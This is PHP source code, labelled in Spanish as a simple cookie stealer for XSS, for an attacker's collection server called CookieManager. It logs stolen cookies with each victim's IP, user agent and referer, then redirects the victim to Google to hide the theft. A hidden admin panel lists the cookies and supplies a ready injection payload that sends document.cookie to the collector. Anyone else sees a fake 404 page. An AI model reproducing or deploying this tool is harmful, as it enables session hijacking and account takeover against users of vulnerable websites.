Un simple cookie stealer para XSS.
<?php
//CookieManager 0.3
//Coded By Doddy H
//Datos para el login
$username = "admin";
$password = "21232f297a57a5a743894a0e4a801fc3"; //admin
//
//Datos para la DB
$host = "localhost";
$userw = "root";
$passw = "";
$db = "cookies";
//
mysql_connect($host,$userw,$passw);
mysql_select_db($db);
if(isset($_GET['id'])) {
if(empty($_GET['id'])) {
error();
}
$dia = date("d.m.Y");
$ip = $_SERVER["REMOTE_ADDR"];
$info = $_SERVER["HTTP_USER_AGENT"];
$ref = $_SERVER["HTTP_REFERER"];
$cookie = $_GET['id'];
@mysql_query("INSERT INTO todo(id,fecha,ip,info,referer,cookie)values(NULL,'$dia','$ip','$info','$ref','$cookie')");
header("Location:http://www.google.com.ar");
}
elseif (isset($_COOKIE['portal'])) {
$st = base64_decode($_COOKIE['portal']);
$plit = split("@",$st);
$user = $plit[0];
$pass = $plit[1];
if ($user == $username and $pass == $password) {
echo "<title>CookieManager 0.3</title>";
echo "<STYLE type=text/css>
body,a:link {
background-color: #000000;
color:orange;
Courier New;
cursor:crosshair;
font-size: small;
}
input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;
color:orange;
border: solid 1px orange;
border-color:orange
}
a:link,a:visited,a:active {
color: orange;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}
</style>
";
if(isset($_POST['instalar'])) {
$todo = "create table todo (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
fecha TEXT NOT NULL,
ip TEXT NOT NULL,
info TEXT NOT NULL,
referer TEXT NOT NULL,
cookie TEXT NOT NULL,
PRIMARY KEY (id));
";
if (mysql_query($todo)) {
echo "<script>alert('Installed');</script>";
} else {
echo "<script>alert('Error');</script>";
}
}
if( mysql_num_rows(mysql_query("show tables like 'todo'"))) {
//
if(isset($_GET['del'])) {
if (is_numeric($_GET['del'])) {
if (@mysql_query("delete from todo where id='".$_GET['del']."'")) {
echo "<script>alert('Deleted');</script>";
} else {
echo "<script>alert('Error');</script>";
}}}
echo "<center>";
echo "<h1>CookieManager</h1><br><br>";
$iny = htmlentities("<script>document.location='http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?id='%2Bdocument.cookie</script>");
echo "<b>CODE</b> : <input type=text name=iny value=$iny size=104><br><br>";
$re = mysql_query("select * from todo order by id ASC");
$con = mysql_num_rows($re);
if ($con==0) {
echo "<script>alert('Not found cookies');</script>";
} else {
echo "<br><br><h1>Cookies Found</h1><br><br><table border=1 width=1100>";
echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Referer</b></td><td><b>Cookie</b></td><td><b>Option</b></td><tr>";
while ($ver = mysql_fetch_array($re)) {
echo "<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[1])."</td><td>".htmlentities($ver[2])."</td><td>".htmlentities($ver[3])."</td>";
echo "<td>".htmlentities($ver[4])."</td><td>".htmlentities($ver[5])."</td><td><a href=?del=".$ver[0].">Del</a></td><tr>";
}
echo "</table>";
echo "<br><br><br><br><br><h1>Coded By Doddy H || 2012</h1><br><br>";
}
//
} else {
echo "
<center><br><br>
<form action='' method=POST>
<h2>Deseas instalar CookieManager ?</h2><br><br>
<input type=submit name=instalar value=Instalar>
</form>";
}
exit(1);
}
}
elseif (isset($_POST['login'])) {
if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));
echo "<script>alert('Welcome idiot');</script>";
echo '<meta http-equiv="refresh" content=0;URL=>';
} else {
echo "<script>alert('Continued to participate');</script>";
}
}
elseif(isset($_GET['adminow'])) {
echo "
<h1><center>Login</center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=text name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>";
} else {
error();
}
function error() {
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>';
exit(1);
}
mysql_close();
// The End ?
?>